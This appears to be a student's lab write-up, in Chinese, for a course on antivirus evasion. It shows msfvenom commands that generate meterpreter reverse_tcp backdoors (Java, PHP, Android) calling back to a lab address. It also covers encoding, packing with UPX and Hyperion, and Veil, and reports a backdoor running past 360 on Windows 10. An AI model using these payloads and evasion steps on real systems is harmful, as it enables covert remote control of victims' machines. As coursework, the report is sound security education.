20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

1. 实践内容(4分)

  1.1 方法(3分)

       - 正确使用msf编码器(0.5分),

       - msfvenom生成如jar之类的其他文件(0.5分),

       - veil(0.5分),

       - 加壳工具(0.5分),

       - 使用C + shellcode编程(0.5分),

       - 使用其他课堂未介绍方法(0.5分)

    1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)

        (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

     1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

1.正确使用msf编码器

使用VirusTotal或Virscan这两个网站对实验二中生成的后门程序5122backdoor.exe扫描

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第1张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第2张图片

用msf编码器对后门程序1次编码,用VirusTotal或Virscan这两个网站检测

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第3张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第4张图片

10次编码

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第5张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第6张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第7张图片

可见多次编码对于免杀没有太大的帮助

因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。而且msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码

侦测,这样就能解决所有msfvenom生成的恶意代码了。

2.msfvenom生成如jar之类的其他文件

使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > java5122backdoor.jar生成java后门

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第8张图片

生成php后门程序 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > php5122backdoor.php

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第9张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第10张图片

生成apk文件msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > apk5122backdoor.apk

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第11张图片

3.veil的安装及生成后门程序

关于veil和wine的安装道阻且长,由于过于坎坷没有截图,可参考同学们的博客,云班课中的讨论,csdn中的资料等等,反正各种方法我都试了,克隆是最慢的,wine是最常出错的,最后我也没明白自己怎么成功了,提一句,在克隆的时候把防火墙3600打开会快一点,原理不明。总的来说这一步应该是最麻烦的,无论哪个同学这一步都是出错最多的地方

 20175122邱昕网络对抗技术exp3《免杀原理与实践》_第12张图片

第一次成功的截图已经半夜一点多了,装的我心力憔悴,先睡了明天早上还有课

 进行一系列的设置

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第13张图片

上传网站检测

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第14张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第15张图片

4.使用C + shellcode编程

用msf生成一段shellcode

vi 5122.c创建c文件并将shellcode放进去

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第16张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第17张图片

i686-w64-mingw32-g++ 5122.c -o c_shellcode5122.exe编译为可执行文件

检测

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第18张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第19张图片

 

5.加壳工具

压缩壳:upx

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第20张图片

进行检测(吐槽一下virscan,老是传不上去)还是能检测出来

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第21张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第22张图片

加密壳:hyperion

将upx5122.exe文件复制到hyperion文件夹中

用wine hyperion.exe -v upx5122.exe hyperion5122.exe进行加壳

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第23张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第24张图片

检测出来了,失败

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第25张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第26张图片

shellter的使用

将nc.exe移到kali目录下

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第27张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第28张图片

检测出来了,失败

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第29张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第30张图片

6.通过组合应用各种技术实现恶意代码免杀

这里我用的是veil的其他方法,并进行加壳操作

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第31张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第32张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第33张图片

 

加壳操作截图省略,过程参考上面

检测

setup.py的检测

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第34张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第35张图片

runme.bat的检测

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第36张图片

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第37张图片

和杀毒软件能够共生

20175122邱昕网络对抗技术exp3《免杀原理与实践》_第38张图片

7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

win10,360

 20175122邱昕网络对抗技术exp3《免杀原理与实践》_第39张图片

8.基础问题回答

  (1)杀软是如何检测出恶意代码的?

有基于特征码检测的,有基于行为检测的,

特征码:如果一个可执行文件含有一段或多段特征码,就会被认为是恶意代码

行为检测:如果一个可执行文件莫名其妙连到一个奇怪的ip,无论是回连还是被动连接都可能会被认为是恶意代码

  (2)免杀是做什么?

让恶意代码不被木马发现或没那么容易发现

  (3)免杀的基本方法有哪些?

改变特征码,

压缩壳,加密壳,shellcode编码,veil

改变连接方式

尽可能多的使用回连即反弹式连接、使用隧道技术、加密通讯数据

 

9.实践总结与体会

到现在为止最难的一次实验吧,从veil的安装的频频出错,到杀软不断的把自己排列组合出来的后门程序检测出来,都挺难的,还好最后成功免杀了,最后说一句,360真垃圾。

10.开启杀软能绝对防止电脑中恶意代码吗?

不能,全新的恶意代码是几乎没有可能通过特征码来识别的,而基于行为的检测需要的时间更长

 

你可能感兴趣的:(20175122邱昕网络对抗技术exp3《免杀原理与实践》)